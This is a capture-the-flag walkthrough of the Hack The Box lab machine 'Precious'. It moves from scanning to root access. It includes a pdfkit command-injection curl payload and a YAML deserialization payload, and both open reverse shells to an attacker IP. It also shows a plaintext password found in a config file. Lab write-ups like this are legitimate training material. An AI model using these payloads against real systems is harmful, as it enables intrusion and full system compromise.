Box URL: https://app.hackthebox.com/machines/Precious
Host: precious.htb
IP: 10.10.11.189
I start with the usual nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
# Nmap 7.93 scan initiated Sat Jan 7 20:40:32 2023 as: nmap -sC -sV -Pn -on 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 7 20:40:42 2023 -- 1 IP address (1 host up) scanned in 9.87 seconds
|
Searching for subdirectories finds nothing. Let’s also fire up Nikto.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.11.189
+ Target Hostname: precious.htb
+ Target Port: 80
+ Start Time: 2023-01-07 23:40:17 (GMT0)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
+ Retrieved x-powered-by header: Phusion Passenger(R) 6.0.15
+ Uncommon header 'x-runtime' found, with contents: Ruby
+ Uncommon header 'x-cascade' found, with contents: pass
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server banner has changed from 'nginx/1.18.0 + Phusion Passenger(R) 6.0.15' to 'nginx/1.18.0' which may suggest a WAF, load balancer or proxy is in place
+ 7785 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time: 2023-01-07 23:47:05 (GMT0) (408 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
|
I can produce a PDF, setting up a local webserver with a simple html page. Checking the properties of the PDF as was suggested by some users on the HTB Board, i notice that pdfkit v0.8.6 is used. Checking the vulnerabilites, for this software there is one that seems usable.
The following site has an explanation on exploiting this vulnerability, this is done using a constructed payload with curl and getting a reverse shell. Using this method i can get a reverse shell and login with the user ruby.
1
|
curl 'http://precious.htb/' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: TARGET_URL' -H 'Connection: keep-alive' -H 'Referer: TARGET_URL' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2FLOCAL-IP%3A10.10.14.159:8000%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.14.159%22%2C9001%29%29%27%60'
|
After getting a reverse shell i find two homefolders, one for a user ruby and another for a user henry. CDing into the henry folder, i can see that the user flag is there, but i cannot read it. I then look for files with ls -la and find nothing interesting. Backing out to the ruby folder there is a hidden folder with a config file inside. The contents of this file look like credentials to the henry user. Using these credentials to open a ssh session grants me the flag for the user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
cd ruby
ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Jan 8 14:34 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Jan 8 14:34 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
cat .bundle
cat: .bundle: Is a directory
cd .bundle
ls
config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
|
After getting a user shell, i run sudo -l to see what commands can this user run as root. There is only one command that seems to be a ruby script that updates dependencies.
1
2
3
4
5
6
|
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
|
I try to run commands in parallel, but that doesn’t work. Also, i notice that whatever folder i’m in, the command always returns the same error, stating that it cannot find a file.
1
2
3
4
5
|
henry@precious:~$ sudo ruby /opt/update_dependencies.rb
Traceback (most recent call last):
2: from /opt/update_dependencies.rb:17:in `<main>'
1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
|
This leads me to believe that i need to create this .yml file. A quick google search leads to me a vulnerability about .yml deserialization and running code. Since this is run as root, i can try to get another reverse shell, this time as a root user. So i use the vulnerability as stated on the website, changing the code to open a shell. This works as intended, allowing me to login as root and get the root flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "bash -c 'bash -i >& /dev/tcp/10.10.14.159/9004 0>&1'"
method_id: :resolve
|
Easiest box by far.